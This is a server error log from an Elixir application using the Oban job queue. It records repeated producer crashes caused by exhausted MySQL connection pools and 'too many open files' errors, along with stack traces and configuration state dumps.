State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:37:58.239166Z], limit: 5, uuid: "ae487c3c-0a6e-48a1-8665-2f029e9e2c85", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:58.239172Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.231972>, refresh_timer: #Reference<0.2525715032.1068236804.231915>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:37:58.239277Z], limit: 5, uuid: "41265698-b15f-493a-9734-59df6bde213d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:58.239283Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.231971>, refresh_timer: #Reference<0.2525715032.1068236804.231923>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:09.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:37:58.241998Z], limit: 10, uuid: "68b3cae1-b7b0-4e20-bc73-494e3637be8c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:58.242004Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.231974>, refresh_timer: #Reference<0.2525715032.1121189889.81994>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:09.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:37:58.240212Z], limit: 20, uuid: "c77609ab-1ea9-47d8-9262-42821cb14e51", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:58.240218Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.237136>, refresh_timer: #Reference<0.2525715032.1099169794.237127>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:13.764000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:16.079000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:16.809000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:17.831000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:18.631000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:19.322000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:20.631000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:21.207000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:21.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:38:09.242370Z], limit: 5, uuid: "519704e8-fde7-4e52-b472-918798ceab87", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:09.242376Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.237521>, refresh_timer: #Reference<0.2525715032.1099169794.237478>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:38:09.241216Z], limit: 50, uuid: "72768c56-f7ff-4650-8975-e04e270e676e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:09.241223Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.82117>, refresh_timer: #Reference<0.2525715032.1068236804.232155>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:38:09.243078Z], limit: 20, uuid: "19573ef5-624d-41d5-bffc-745ddf45ffe6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:09.243084Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.237522>, refresh_timer: #Reference<0.2525715032.1121189889.82129>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:38:09.242636Z], limit: 10, uuid: "0ed01cc8-7529-4487-907e-34da3cbea80e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:09.242642Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.237523>, refresh_timer: #Reference<0.2525715032.1121189889.82112>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:21.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:38:09.242070Z], limit: 5, uuid: "3563c4c8-cc98-4813-ba48-dd49dd1ef6a1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:09.242075Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.82116>, refresh_timer: #Reference<0.2525715032.1121189889.82115>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:21.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
